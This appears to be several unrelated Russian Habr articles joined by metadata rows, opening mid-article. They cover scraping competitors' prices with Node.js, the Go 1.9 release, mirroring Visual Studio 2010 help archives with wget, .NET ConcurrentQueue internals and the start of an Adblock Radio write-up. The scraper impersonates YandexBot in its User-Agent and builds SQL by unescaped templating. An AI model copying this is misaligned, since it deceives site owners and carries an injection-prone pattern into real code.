2. Договориться с работником конкурента. Это не совсем правильный и честный способ. Поэтому сразу отклоняется.
3. Парсинг сайта конкурента. Это популярный метод и он достается практически даром. Ниже будет описан именно он.
**Инструменты**
1. База данных.
2. Алгоритм парсинга.
Исторически сложилось, что интернет-магазин – на 1C-Bitrix, поэтому мониторинг цен был написан на php. Но это неправильный подход, поэтому ниже будет описан алгоритм парсинга на Node.js.
Для примера возьмем товар [iphone](https://ru.wikipedia.org/wiki/IPhone_6) в разных магазинах и будем производить мониторинг его цены.
Создадим таблицу конкурентов:
**competitors**
```
CREATE TABLE panda.competitors (
id int(11) NOT NULL AUTO_INCREMENT,
name varchar(50) DEFAULT NULL,
PRIMARY KEY (id)
)
ENGINE = INNODB
CHARACTER SET utf8
COLLATE utf8_general_ci;
```
Далее нам потребуется URL для товаров и список элементов в HTML-документе. Создаем таблицу списков элементов:
**competitors\_selector**
```
CREATE TABLE panda.competitors_selector (
id int(11) NOT NULL AUTO_INCREMENT,
competitor_id int(11) DEFAULT NULL,
selector varchar(255) DEFAULT NULL,
use_status CHAR(20) DEFAULT 'unused',
PRIMARY KEY (id)
)
ENGINE = INNODB
CHARACTER SET utf8
COLLATE utf8_general_ci;
```
Создаем таблицу, в которой будут храниться url, цены и т.д.:
**competitors\_data**
```
CREATE TABLE panda.competitors_data (
id INT(11) NOT NULL AUTO_INCREMENT,
competitor_id INT(11) DEFAULT NULL,
sku INT(11) DEFAULT NULL,
competitor_url VARCHAR(255) DEFAULT NULL,
competitor_price INT(11) DEFAULT NULL,
competitor_response_ms INT(11) DEFAULT NULL,
competitor_price_status CHAR(20) DEFAULT 'created',
last_update_unixtime INT(11) DEFAULT NULL,
PRIMARY KEY (id)
)
ENGINE = INNODB
CHARACTER SET utf8
COLLATE utf8_general_ci;
```
Пример заполнения таблицы competitors:
Пример заполнения таблицы competitors\_selector:
Пример заполнения таблицы competitors\_data:
Данные из competitors\_selector заполняются на основе селекторов:
На данный момент каждый уважающий себя интернет-магазин использует [microdata](https://www.w3.org/TR/microdata/). Существует огромное количество парсеров, на разнообразных языках программирования. Так как мы определились, что пишем на Node.js, то воспользуемся прекрасным модулем [semantic-schema-parser](https://www.npmjs.com/package/semantic-schema-parser). Сам модуль умещается в 149 строк и под капотом у него отличный парсер контента [cheerio](https://www.npmjs.com/package/cheerio). Немного доработаем модуль, добавив в callback объект $.
Но не стоит забывать о том, что многие интернет-магазины все еще не используют [microdata](https://www.w3.org/TR/microdata/). Тут вступают в дело данные competitors\_selector. В опциях запроса поставим максимум 5 редиректов, user-agent как yandex bot, и timeout 2 сек.
Для загрузки html используем библиотеку [needle](https://www.npmjs.com/package/needle). Для упрощения формирования запросов к БД воспользуемся шаблонизатором [templayed](https://www.npmjs.com/package/templayed).
Запросы к БД:
**resetSelectorsStatus.sql**
```
UPDATE
competitors_selector
SET
use_status = 'unuse'
WHERE 1;
```
**selectcSelectors.sql**
```
SELECT *
FROM competitors_selector
```
**selectcURLs.sql**
```
SELECT * FROM competitors_data
```
**updateCompetitorData.sql**
```
UPDATE
competitors_data
SET
competitor_price = '{{price}}'
,competitor_response_ms = {{response_ms}}
,last_update_unixtime = {{response_time}}
,competitor_price_status = '{{status}}'
WHERE id = {{id}}
```
Алгоритм парсинга следующий:
1. Сбрасываем selector.
2. Формируем объект из DOM-селекторов.
```
{ключ:['selector1','selector2']}
```
3. Загружаем HTML.
4. Анализируем microdata.
5. Если в microdata нет необходимых данных, то анализируем selector'ы.
6. Если данные не определены, то выставляем null.
Код класса Scraping представлен ниже. В коде используется велосипед для того, чтобы одновременно асинхронно анализировать url. Изначально задумка была:
1. Агрегировать конкурентов из competitors\_data.
2. Выставить количество одновременных асинхронных запросов.
3. Каждого конкурента опрашиваем через timeout.
Но пока что реализация следующая:
**Полный код**
```
var needle = require('needle');
var mysql = require('mysql');
var templayed = require('templayed');
var fs = require('fs');
var schema = require("semantic-schema-parser");
var Scraping = new function(){
//1. Подключаемся к БД
_this = this;
_this.DB = mysql.createConnection({
host : 'localhost',
user : '******************',
password : '******************',
database : 'panda'
});
_this.querys = {};
_this.selectors = {};//dom селекторы для Scraping'a
_this.rows = null;//Массив из url
_this.workers = 5;//Количество одновременных асинхронных опросов
_this.needleOptions = {
follow_max : 5 // Максимум 5 редиректов
,headers:{'User-Agent': 'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots) '}
,open_timeout: 2000 // if we don't get our response headers in 5 seconds, boom.
}
this.run = function(){
_this.DB.connect();
_this.queryLoad();
_this.resetSelectorsStatus();
}
//--------------------// //Загружаем шаблоны запросов {операция блокирующая(синхронная)}
this.queryLoad = function(){
_this.querys['selectcSelectors'] = fs.readFileSync('sql/selectcSelectors.sql', 'utf8');
_this.querys['resetSelectorsStatus'] = fs.readFileSync('sql/resetSelectorsStatus.sql', 'utf8');
_this.querys['selectcURLs'] = fs.readFileSync('sql/selectcURLs.sql', 'utf8');
_this.querys['updateCompetitorData'] = fs.readFileSync('sql/updateCompetitorData.sql', 'utf8');
};
//--------------------// //Сбрасываем статус селекторов
this.resetSelectorsStatus = function(callback){
_this.DB.query( _this.querys['resetSelectorsStatus'], function(err, rows) {
_this.selectcSelectors();
});
}
//--------------------// //----Массив DOM електоров
this.selectcSelectors = function(callback){
_this.DB.query( _this.querys['selectcSelectors'] , function(err, rows) {
if (!err){
rows.forEach(function(item, i, arr) {
if (!_this.selectors[item.competitor_id]){_this.selectors[item.competitor_id]=[];}
_this.selectors[item.competitor_id].push({id:item.id,selector:item.selector});
});
_this.selectcURLs();
}
});
}
//--------------------//
this.selectcURLs = function(callback){
_this.DB.query( _this.querys['selectcURLs'] , function(err, rows) {
if (!err){
_this.rows = rows;
_this.workersTask();
}
});
}
//--------------------//
this.workersTask = function(){
__this = this;
__this.worker = [];
for (var i = 0; i < _this.workers; i++) {
__this.worker[i] = {
id:i
,status: 'run'
,allTask : function(){
var status = {};
status['run'] = 0;
status['iddle'] = 0;
__this.worker.forEach(function(item){
if(item.status==='run'){status['run']++;}
else{status['iddle']++;}
});
return status;
}
,timeStart : new Date().valueOf()
,func: function(){
_this.parseData(__this.worker[this.id])
}
}
__this.worker[i].func();
}
}
//--------------------//
this.parseData = function(worker){
__this = this;
var count = _this.rows.length;
var startTime = new Date().valueOf();
if(count > 0 ){
var row = _this.rows.shift();//удаляет первый элемент из rows и возвращает его значение
var URL = row.competitor_url;
needle.get(URL, _this.needleOptions, function(err, res){
if (err) {worker.func(); return;}
var timeRequest = ( new Date().valueOf() ) - startTime;
schema.parseContent(res.body, function(schemaObject, $){
price = _this.parseBody(schemaObject,$,row);
status = ( price!='NULL' ) ? 'active' : 'error';
//console.log(res.statusCode, 'timeout:'+timeRequest, 'price:'+price, worker.id, URL, row.id);
_this.updateCompetitorData({
id : row.id
,status:status
,response_time:( new Date().valueOf() )
,response_ms:timeRequest
,price:price
});
worker.func();
});
});
}else{
worker.status = 'idle';
if(worker.allTask().run===0){
console.log('Мы все завершили, мы молодцы');
_this.DB.end();//Закрываем соединение с бд;
}
}
}
_this.parseBody = function(schemaObject,$,row){
var price;
schemaObject.elems.forEach(function(elemsItem, i) {
if(!elemsItem.product)return;
elemsItem.product.forEach(function(productItem, i) {
if(!productItem.price)return;
price = ( productItem.price['content'] ) ? productItem.price['content'] :
( productItem.price['text'] ) ? productItem.price['text'] :
null;
price = price.replace(/[^.\d]+/g,"").replace( /^([^\.]*\.)|\./g, '$1' );
price = Math.floor(price);
});
});
if( (!price) && (_this.selectors[row.competitor_id]) ){
_this.selectors[row.competitor_id].forEach(function(selector){
price_text = $(selector.selector).text();
if (price_text){
price = price_text.replace(/[^.\d]+/g,"").replace( /^([^\.]*\.)|\./g, '$1' );
price = Math.floor(price);
//Обновляем статус о том что selector был использован
//-------------------------------------------------//
return;
}
});
}
if(!price){price = 'NULL'};
return price;
}
//--------------------//
_this.updateCompetitorData = function(data){
query = templayed( _this.querys['updateCompetitorData'] )(data);
_this.DB.query( query , function(err, rows) {});
}
//--------------------//
_this.run();
}
```
В результате получаем следующие данные:
На изображении видно, что можно отследить самую дорогую и самую дешевую цену конкурента, время ответа сервера. Теперь можно отправлять это в ценообразование, для пересмотра ценовой политики.
Подводя итог, хочется сказать, что с применением microdata парсинг названия товаров, цены и категории существенно упрощается. Но есть еще большая ложка дегтя:
* Не все интернет-магазины используют microdata.
* Не у всех microdata валидная (яркий пример – ozone).
* Не все интернет-магазины используют в microdata данные о цене, названии, категории.
* Некоторые магазины в microdata используют вместо content поле text, либо наоборот.
Те же магазины, которые не используют microdata, в качестве селекторов используют не id, а class, что правильно с точки зрения верстки, но усложняет парсинг (к примеру, в документе у нас могут быть 7 элементов с class='price', а цены будут находиться только в 4, 5, 6, 10). Также не всегда в элементе существует цена в удобном формате:
```
2980 руб.
```
На данный момент, с появлением microdata, парсинг стал намного проще.
В следующей статье попробую показать, как реализован алгоритм автоматического сопоставления url-карточки конкурента и карточки в интернет-магазине. | https://habr.com/ru/post/328734/ | null | ru | null |
# Релиз Go 1.9
Сегодня (прим. переводчика: 24-08-2017), наша команда рада Вам представить релиз Go 1.9. Вы можете скачать его [отсюда](https://golang.org/dl/). В этом релизе очень много изменений касательно самого языка, стандартных библиотек, райнтайма и инструментов экосистемы. В этом посте я расскажу Вам о наиболее значимых из них. Наибольшее усилие в этом релизе было приложено на усовершенствование рантайма и инструментов экосистемы, что делает анонс менее интересным, но релиз более великолепным.
Самое важное изменение в языке — это алиасы для типов: фича, созданная для постепенного восстановления кода. Алиасы типов представляются в следующем виде:
```
type T1 = T2
```
Это объявление создает алиас T1 для типа T2, тем же способом как *byte* является алиасом для *uint8*. Архитектура алисов для типов описана в [документе](https://golang.org/design/18130-type-alias), а [статья о рефакторниге](https://talks.golang.org/2016/refactor.article) охватывает эту тему еще более детально.
Новый пакет [math/bits](https://golang.org/pkg/math/bits) предоставляет функции подсчета и манипуляции для беззнаковых целых чисел, использующие специальные инструкции CPU, где это возможно. Для примера: на **x86-64** системах, *bits.TrailingZeros(x)* использует [BSF](https://pdos.csail.mit.edu/6.828/2010/readings/i386/BSF.htm) инструкции.
В пакет *sync* добавился новый тип [Map](https://golang.org/pkg/sync#Map), безопасный для конкурентного доступа (потоко-безопасный). Вы можете прочитать об этом больше в документации к типу и узнать больше о создании данного типа с доклада на [GopherCon 2017](https://www.youtube.com/watch?v=C1EtfDnsdDs) ([слайды](https://github.com/gophercon/2017-talks/blob/master/lightningtalks/BryanCMills-AnOverviewOfSyncMap/An%20Overview%20of%20sync.Map.pdf)). *Map* не является заменой для встроенного в Go типа ассоциативных массивов; пожалуйста прочитайте соответствующую документацию чтобы получить понимание и представления для каких целей использовать Map.
Также свою порцию добавки получил пакет *testing*. Новый метод *Helper* был добавлен в [testing.T](https://golang.org/pkg/testing#T.Helper) и [testing.B](https://golang.org/pkg/testing#B.Helper), помечающий вызываемую функцию как тестовую вспомогательную функцию. Когда тестовый пакет выводит информацию о файле и строке, он показывает место вызова вспомогательной функции вместо того чтобы показывать строку в самой вспомогательной тестовой функции.
Для примера, рассмотрим следующий тест:
```
package p
import "testing"
func failure(t *testing.T) {
t.Helper() // This call silences this function in error reports.
t.Fatal("failure")
}
func Test(t *testing.T) {
failure(t)
}
```
Так как, *failure* идентифицирует себя как вспомогательная тестовая функция, сообщения об ошибке выводимое во время выполнения *Test* будет указывать на строку 11, где вызывается *failure*, вместо строки 7, где *failure* вызывает *t.Fatal*.
Пакет *time* теперь прозрачно отслеживает «монотонное» время (прим. переводчика: отсылка к [типам времени](http://beta.golang.org/pkg/time/#hdr-Monotonic_Clocks) предоставляемым ОС) в значении *Time*, делая вычисление времени выполнения между двумя вызовами (значениями) *Time* безопасной операцией, даже в присутствии обычных часов ОС (синхронизация часов ОС). Для примера, следующий кусок кода вычисляет точное время выполнения, даже если синхронизации обычных часов произойдет в течении одной секунды:
```
start := time.Now()
f()
elapsed := time.Since(start)
```
Смотрите [документацию к пакету](http://beta.golang.org/pkg/time/#hdr-Monotonic_Clocks) и [документы к дизайну](http://beta.golang.org/pkg/time/#hdr-Monotonic_Clocks) (архитектуре) для более подробной информации.
И напоследок, как часть усилий направленных чтобы сделать компилятор Go еще более быстрым, в Go 1.9 функции внутри пакета компилируется конкурентно (параллельно, одновременно).
Go 1.9 включает в себя еще много нового функционала, усовершенствований и исправлений. Вы можете посмотреть полный список изменений, а также более подробную информацию о усовершенствованиях в [списке изменений Go 1.9](https://golang.org/doc/go1.9).
Чтобы отпраздновать новый релиз, сообщество пользователей Go устраивает [вечерники, приуроченные к релизу](https://github.com/golang/cowg/blob/master/events/2017-08-go1.9-release-party.md) по всему миру. | https://habr.com/ru/post/336368/ | null | ru | null |
# Зеркало справочных архивов Visual Studio 2010
#### Введение
Одним из немногих полезных нововведений справочной системы Visual Studio 2010 (aka Microsoft Help System 1.1) является возможность установки и обновления архивов содержимого справки из онлайн-каталога. Однако, необходимость вытягивания порядка гигабайта архивов для каждой девелоперской машины может показаться накладной, поэтому было принято решение о создании локального зеркала онлайн-каталога. Найти официального способа решения данной задачи, к сожалению, не удалось.
#### Исследование
При помощи любого HTTP-сниффера (такого, например, как [Fiddler](http://www.fiddler2.com/fiddler2/)) можно выяснить, что каталог расположен по адресу <http://services.mtps.microsoft.com/ServiceAPI/products>, при этом непосредственно архивы располагаются на сайте http://packages.mtps.microsoft.com/. Именно эти два ресурса и нужно будет зеркалировать.
#### Реализация
Для создания зеркала нам понадобится известная консольная утилита wget, а также web-server (я использовал nginx).Процесс создания зеркала состоит из следующих шагов:1. Подготовка. Первым делом нужно создать папку, которая будет хранить содержимое будущего зеркала, например D:\mtps.
2. Загрузка каталога. В созданной папке необходимо выполнить следующую, довольно пространную команду:
`wget -r -k -x -nH -H -N -E -l inf -e robots=off -X /ServiceAPI/packages -R *fr-fr*,*pt-br*,*es-es*,*pl-pl*,*de-de*,*cs-cz*,*it-it*,*tr-tr*,*ru-ru*,*ja-jp*,*ko-kr*,*zh-tw*,*zh-cn* http://services.mtps.microsoft.com/ServiceAPI/products/`
после окончания работы которой, в папке окажется масса архивов, а также папка ServiceAPI. Стоит обратить внимание на параметр -R, который контролирует язык загружаемых архивов. В данном случае исключены все языки, кроме en-us.
3. Настройка web-сервера. Для начала необходимо смонтировать созданную ранее папку в качестве корня web-сервера, после чего создать rewrite rule которое превращало бы ссылки вида http://services.mtps.microsoft.com/ServiceAPI/products/dd936256 в http://services.mtps.microsoft.com/ServiceAPI/products/dd936256.html поскольку именно таким образом wget сохраняет структуру каталога. В моем случае настройка сервера выглядела так:
`location / {
root d:\mtps;
index index.html index.htm;
rewrite ^(.*/[a-z0-9-]+)$ $1.html last;
}`
4. Настройка клиента. Поскольку утилита управления справочной системой ожидает каталог по адресу services.mtps.microsoft.com нужно отредактировать файл etc/hosts сопоставив данному домену адрес нашего локального зеркала. В моем случае достаточно было создания алиаса на localhost.
5. Проверка. Теперь можно запустить Help Library Manager (меню Help -> Manage Help Contents в Visual Studio) и убедиться в том, что пункты «Check for updates online» и «Install content from online» прекрасно работают, используя содержимое локального зеркала.
Для обновления зеркала достаточно зайти в папку с архивами, удалить подпапку ServiceAPI и заново запустить wget с вышеуказанными параметрами, при этом ключ -N исключает повторное скачивание старых архивов. Можно также создать скрипт, автоматически выполняющий данную работу и запускаемый, скажем, раз в неделю с помощью планировщика.
Надеюсь, данное руководство окажется вам полезным. | https://habr.com/ru/post/133266/ | null | ru | null |
# Concurrency структуры в .net. ConcurrentQueue изнутри
ConcurrentQueue можно отнести к lock-free конкурентным структурам данных. В ее реализации нет блокировок (lock, Mutex…) и реализована она с использованием:
— классической функции CompareExchange;
— SpinWait
— volatile (используется как memory-barrier)
В основу ConcurrentQueue заложена структура ring-buffer ([кольцевой буфер](https://ru.wikipedia.org/wiki/%D0%9A%D0%BE%D0%BB%D1%8C%D1%86%D0%B5%D0%B2%D0%BE%D0%B9_%D0%B1%D1%83%D1%84%D0%B5%D1%80)).
#### Ring-buffer (кольцевой буфер)
Кольцевой буфер идеально подходит для реализации структуры данных «очередь» (FIFO).
В его основе лежит массив данных и 2 указателя – начало (start) и конец (end).
Предусмотрено две основные операции:
1. **Push** — добавление в конец. При добавлении нового элементов в буфер, счетчик end увеличивается на 1 и на его место записывается новый элемент. Если мы «уперлись» в верхнюю границу массива, то значение end обнуляется («переходит» на начало массива) и элементы начинают записываться в начало массива. Запись возможна пока индекс end не достиг индекса start.
2. **Pop** — выборка элементов сначала. Выборка элементов происходит с элемента start, последовательно увеличивая его значение, до тех пока не достигнет end. Выборка возможна, пока индекс start не достиг индекса end.
#### Блочный кольцевой буфер
Устройство ConcurrentQueue немного сложнее, чем классический кольцевой буфер. В его реализации используется понятие сегмента (Segment). ConcurrentQueue состоит из связанного списка (однонаправленного) сегментов. Размер сегмента равен 32.
```
private class Segment {
volatile VolatileBool[] m_state;
volatile T[] m_array;
volatile int m_low;
volatile int m_high;
volatile Segment m_next;
}
```
Первоначально в ConcurrentQueue создается 1 сегмент
По мере необходимости к нему справа добавляется новые сегменты
В результате получается однонаправленный связанный список. Начало связанного списка задает m\_head, конец – m\_tail. Ограничения:
* m\_head сегмент может иметь пустые ячейки только слева
* m\_tail сегмент может иметь пустые ячейки только справа
* если m\_head = m\_tail то пустые ячейки могут быть как слева, так и справа.
* В сегментах, между m\_head и m\_tail пустых ячеек быть не может.
#### Добавление элемента (Enqueue)
Ниже представлен примерный алгоритм добавление элементов в сегмент.
* Увеличивается m\_high на 1
* В массив m\_array с индексом m\_high записывается новое значение.
```
index = Interlocked.Increment(ref this.m_high);
if (index <= 31)
{
m_array[index] = value;
m_state[index].m_value = true;
}
```
m\_state – массив состояния ячеек, если значение true – элемент записан в ячейку, если false — еще нет. По сути, это некий «Commit» записи. Нужен он для того, чтобы между операциями увеличения индекса Interlocked.Increment и записью значения m\_array[index] = value не произошло чтение элемента другим потоком. Тогда чтение данных будет осуществляться после выполнения:
```
while (!this.m_state[index].m_value)
spinWait2.SpinOnce();
```
#### Добавление нового сегмента (Segment.Grow)
Как только m\_high текущего сегмента становится равным 31, запись в текущий сегмент прекращается и создается новый сегмент (текущие сегменты продолжают жить своей жизнью).
```
m_next = new ConcurrentQueue.Segment(this.m\_index + 1L, this.m\_source);
m\_source.m\_tail = this.m\_next;
```
m\_next – ссылка на следующий сегмент
m\_source.m\_tail – ссылка последний сегмент списка сегментов.
#### Выборка элемента (TryDequeue)
В основе выборки элементов из очереди лежат две базовые функциональности:
* Interlocked.CompareExchange – атомарная операция, которая записывает значение переменной, в случае если ее значение равно сравниваемому значению.
```
public static extern int CompareExchange(ref int location1, int value, int comparand);
```
* SpinWait, из MSDN
> System.Threading.SpinWait is a lightweight synchronization type that you can use in low-level scenarios to avoid the expensive context switches and kernel transitions that are required for kernel events. On multicore computers, when a resource is not expected to be held for long periods of time, it can be more efficient for a waiting thread to spin in user mode for a few dozen or a few hundred cycles, and then retry to acquire the resource. If the resource is available after spinning, then you have saved several thousand cycles. If the resource is still not available, then you have spent only a few cycles and can still enter a kernel-based wait. This spinning-then-waiting combination is sometimes referred to as a two-phase wait operation.
>
>
Примерный алгоритм работы выборки:
1. Получить m\_low
2. Увеличить m\_low на 1, с использованием CompareExchange
3. Если m\_low больше 31 – перейти на следующий сегмент
4. Дождаться коммита (m\_state[low].m\_value) элемента с индексом m\_low.
```
SpinWait spinWait1 = new SpinWait();
int low = this.Low;
if (Interlocked.CompareExchange(ref this.m_low, low + 1, low) == low)
{
SpinWait spinWait2 = new SpinWait();
while (!this.m_state[low].m_value)
spinWait2.SpinOnce();
result = this.m_array[low];
```
#### Count vs IsEmpty
**Код IsEmpty:**
```
ConcurrentQueue.Segment segment = this.m\_head;
if (!segment.IsEmpty)
return false;
if (segment.Next == null)
return true;
SpinWait spinWait = new SpinWait();
for (; segment.IsEmpty; segment = this.m\_head)
{
if (segment.Next == null)
return true;
spinWait.SpinOnce();
}
return false;
```
Т.е. по сути, это найти первый непустой сегмент. Если он найден – очередь не пуста.
**Код Count:**
```
ConcurrentQueue.Segment head;
ConcurrentQueue.Segment tail;
int headLow;
int tailHigh;
this.GetHeadTailPositions(out head, out tail, out headLow, out tailHigh);
if (head == tail)
return tailHigh - headLow + 1;
return 32 - headLow + 32 \* (int) (tail.m\_index - head.m\_index - 1L) + (tailHigh + 1);
```
По сути, он ищет первый и последний сегмент и на основе этих двух сегментов вычисляет кол-во элементов.
Вывод — операция Count будет занимать больше процессорного времени, чем IsEmpty.
#### Снепшот & GetEnumerator
Структура ConcurrentQueue поддерживает технологию снепшотов для получения целостного набора элементов.
Целостные данные возвращают:
* ToArray
* ICollection.CopyTo
* GetEnumerator
Операторы выше так же работаю без блокировок, а целостность достигается за счет введения счетчика
```
volatile int m_numSnapshotTakers
```
в рамках всей очереди — число операций, работающих со снепшотами в текущий момент времени. Т.е. каждая операция, которая хочет получить целостную картину, должна реализовать следующую код:
```
Interlocked.Increment(ref this.m_numSnapshotTakers);
try
{
...//Итератор по всем сегментам
}
finally
{
Interlocked.Decrement(ref this.m_numSnapshotTakers);
}
```
В дополнении к этому, изменения у нас «пишет» только операция Dequeue, поэтому только в ней проверяется необходимость удалять ссылку на элемент очереди:
```
if (this.m_source.m_numSnapshotTakers <= 0)
this.m_array[low] = default (T);
``` | https://habr.com/ru/post/245837/ | null | ru | null |
# Разработка Adblock Radio
> **tl;dr:** [Adblock Radio](https://www.adblockradio.com/) распознаёт аудиорекламу с помощью машинного обучения и Shazam-подобных техник. Основной движок с [открытым исходным кодом](https://github.com/adblockradio/adblockradio): используйте его в своих продуктах! Можно объединить усилия для поддержки большего количества радиостанций и подкастов.
Мало кому нравится слушать рекламу на радио. Я запустил проект [AdblockRadio.com](https://www.adblockradio.com/player), чтобы слушатели могли пропускать рекламу на своём любимом интернет-радио. Алгоритм опубликован с [открытым исходным кодом](https://github.com/dest4/adblockradio), а в этой статье описывается, как он работает.
Adblock Radio уже протестировали на реальных данных [более 60 радиостанций в семи странах](https://github.com/adblockradio/available-models/). Он также совместим с подкастами и работает довольно хорошо!
По сравнению с предыдущими реализациями наш алгоритм предлагает универсальный подход, обрабатывая потоки из различных источников. Из предыдущих реализаций одна [полагается на метаданные интернет-радио](https://github.com/quasoft/adblockradio), но только небольшая часть радио совместима с этим методом. Другая реализация [распознаёт известные джинглы](https://blog.rekawek.eu/2016/02/24/radio-adblock/), но во многих случаях начало и конец рекламных пауз не отмечены джинглом.
Помимо обнаружения рекламных роликов, предложенный алгоритм умеет отличать разговор от музыки. Поэтому он также позволяет избежать болтовни и слушать только музыку.
Это отчёт о моей личной работе почти за три года. Я запустил Adblock Radio в конце 2015 года, через несколько месяцев после окончания аспирантуры по физике термоядерной плазмы. Когда Adblock Radio [приобрёл некоторую известность](https://www.adblockradio.com/blog/2016/10/14/ils-parlent-dadblock-radio/) в 2016 году, я получил угрозы от юристов из французских радиостанций (подробнее ниже). Мне пришлось частично закрыть сайт, изменить архитектуру системы, лучше изучить правовые последствия и т. д. Сегодня я считаю, что AdBlock Radio будет гораздо лучше развиваться в парадигме [открытых инноваций](https://en.wikipedia.org/wiki/Open_innovation).
Эта статья состоит из трёх частей. Они предназначены для разных аудиторий. Можете прокрутить вниз или щёлкнуть по названию, чтобы сразу перейти к нужному разделу.
* **[Обнаружение рекламы: опробованные стратегии](#1)**. Для технически подкованных людей, учёных, специалистов по анализу данных… Здесь представлены разные технические способы, которые я опробовал для обнаружения рекламы, в том числе распознавание речи, звуковые отпечатки и машинное обучение. Мысли о вариантах дальнейшей работы.
* **[Не рекомендуется запускать Adblock Radio в облаке](#2)**. Для разработчиков программного обеспечения и людей, заинтересованных в авторском праве. Обсудим, как трудно найти удовлетворительный компромисс между техническими и юридическими ограничениями при запуске Adblock Radio в облачных сервисах. По этим причинам лучше запускать Adblock Radio только на устройствах конечных пользователей.
* **[Можете интегрировать Adblock Radio в свой плеер](#3)**. Для производителей, владельцев продуктов, UX-дизайнеров, технарей… Я рассматриваю идеи по интеграции алгоритма с открытым исходным кодом в конечные продукты, в том числе автомобильные плееры, и подчеркиваю необходимость получения обратной связи от пользователей о случаях неправильного срабатывания. Это необходимо для поддержания системы. Наконец, здесь подсказки, как создавать правильные пользовательские интерфейсы. Ожидаю много отзывов на эту тему.
*Adblock Radio возвращает удовольствие от прослушивания радио*
Обнаружение рекламы: опробованные стратегии
===========================================
Чтобы заблокировать рекламу, сначала нужно её обнаружить. Цель состоит в том, чтобы обнаружить рекламу в аудиопотоке без какой-либо помощи радиостанции. Это непростая задача. Я опробовал несколько подходов, прежде чем получить хороший результат.
1. Простые способы (не работают)
--------------------------------
### Громкость
Первая идея в том, чтобы проверять громкость звука, потому что реклама такая громкая! Для рекламы часто используется [акустическое сжатие](https://en.wikipedia.org/wiki/Loudness_war). Это интересный критерий, но его недостаточно, чтобы отличить рекламу. Например, такая стратегия довольно хорошо работает для классических музыкальных станций, где реклама обычно громче музыки. Но поп-музыка такая же громкая, как реклама. Более того, какую-то рекламу нарочно могут сделать тихой, чтобы избежать обнаружения.
### Блокировка по часам
Ещё одна идея заключается в том, что реклама транслируется по расписанию в конкретное время. В какой-то степени это верно, но здесь нет точности. Например, я наблюдал, как [утреннее шоу](http://www.europe1.fr/emissions/la-revue-de-presque-de-nicolas-canteloup) на французской станции не начиналось точно в одно и то же время, с вариациями до двух минут. Радиостанции могут легко обойти такую блокировку, случайным образом сдвигая свои программы на несколько десятков секунд.
### Метаданные
Очевидное решение — полагаться на [метаданные ICY/Shoutcast](http://www.smackfu.com/stuff/programming/shoutcast.html), по которым плееры вроде [VLC](https://www.videolan.org/) отображают информацию о потоке. К сожалению, эти данные в большинстве случаев сломаны. Можно было бы взять информацию из прямого эфира на веб-сайтах радиостанций (я разработал [инструмент для этого](https://github.com/adblockradio/webradio-metadata)), но чаще всего реклама не идентифицируется как есть. Обычно во время рекламы на сайте отображается название предыдущей песни или программы. Одним примечательным исключением является [Jazz Radio](http://www.jazzradio.fr/), которое во время рекламы пишет *“la musique revient vite...”* (музыка скоро вернётся). В заключение следует отметить, что это ненадёжная стратегия, поскольку радиостанции могут очень легко изменить метаданные.
### Маркировка вручную
В конце концов, обнаружение рекламы возможно вообще без какого-то алгоритма! Можно просто попросить некоторых слушателей нажать кнопку, когда начинается и заканчивается реклама. Другие слушатели выиграют от этого. Такова стратегия телеприставки [TiVo Bolt](https://www.engadget.com/2015/09/30/tivo-bolt-4k-commercial-skipmode/). Она позволяет удалять рекламу на установленных каналах в установленное время. Это даёт прекрасные результаты, но не очень масштабируется на тысячи радиостанций.
Недостаток в том, что трудно запустить систему с нуля. На новой станции может не хватать аудитории для правильной работы. Первые слушатели расстроятся и уйдут, так что станция никогда и не соберёт достаточно большой аудитории.
Ещё одна трудность в том, что радиостанциям захочется отправлять поддельные сигналы, чтобы саботировать систему. Тут требуется механизм модерации, система консенсуса или порог голосования.
Краудсорсинг — хорошая идея. Думаю, что она выглядит ещё лучше, если алгоритм выполнит бóльшую часть работы, оставляя минимум для людей. Это то, что я сделал.
2. Распознавание речи и анализ лексического поля (неудача)
----------------------------------------------------------
Реклама — это всегда одна и та же тематика и лексическое поле: покупка автомобиля, получение купонов супермаркета, подписка на страховку и т. д. Если распознать речь, то можно применить стандартные [инструменты для борьбы со спамом](https://spamassassin.apache.org/). Это был мой первый путь исследования в конце 2015 года, но я не смог реализовать распознавание речи.
Будучи новичком в обработке речи, я начал с чтения [«Обработки устной речи» Хуанга](https://dl.acm.org/citation.cfm?id=560905), отличной книги, хотя немного устаревшей. Я наложил свои грязные ручонки на [CMU Sphinx](https://cmusphinx.github.io/), лучший на то время свободный движок для распознавания речи.
Первая попытка дала очень плохие результаты и требовала интенсивных вычислений на CPU. Я использовал параметры по умолчанию: стандартный французский словарь (список возможных слов и соответствующих фонем), языковая модель (вероятности последовательностей слов) и акустическая модель (связь фонем с формой звуковых волн).
Попытки улучшить систему оказались тщетными: распознавание всё равно работало плохо. Я настроил словарь и языковую модель на небольшом наборе данных, разделяя звук [инструментом диаризации](http://www-lium.univ-lemans.fr/diarization/doku.php/Welcome). Также [адаптировал акустическую модель MLLR](https://cmusphinx.github.io/wiki/tutorialadapt) к радиостанции Europe 1 (French), на которой обучал систему.
В общем, от идеи распознавания речи пришлось отказаться. Наверное, это для экспертов. Впрочем, в будущем к ней можно вернуться. С 2015 года достигнут значительный прогресс в распознавании речи. Опубликованы новые инструменты с открытым исходным кодом, такие как [Mozilla Deep Speech](https://github.com/mozilla/DeepSpeech).
3. Краудсорсинг рекламной базы, обнаружение по звуковым отпечаткам (обнадёживающе)
----------------------------------------------------------------------------------
[Первая версия](https://twitter.com/PierreCol/status/784851362207137792) Adblock Radio в 2016 году работала с базой рекламных роликов. Система непрерывно прослушивала звуковой поток в поисках рекламы. Результаты были действительно многообещающими, но сложным оказалось поддержание такой базы в актуальном состоянии.
Техника поиска по звуковым отпечаткам похожа на то, [что делает Shazam на своих серверах](https://www.ee.columbia.edu/~dpwe/papers/Wang03-shazam.pdf) для распознавания песен. Такой тип алгоритмов широко известен как *landmark*. Я адаптировал его для работы на потоковом вещании и [открыл исходный код](https://github.com/adblockradio/stream-audio-fingerprint).
Фингерпринтинг подходит для обнаружения рекламных роликв, потому что они многократно транслируются в одинаковом виде. По той же причине он распознаёт и музыку. Но эта техника не будет работать на речи, потому что люди никогда не произносят слова одинаково. Это возможно только при повторной трансляции передач ночью, что нас не интересует. Таким образом, в базу отпечатков нужно вносить и рекламу, и музыку (как «не реклама»), но обрабатывать речь бессмысленно.
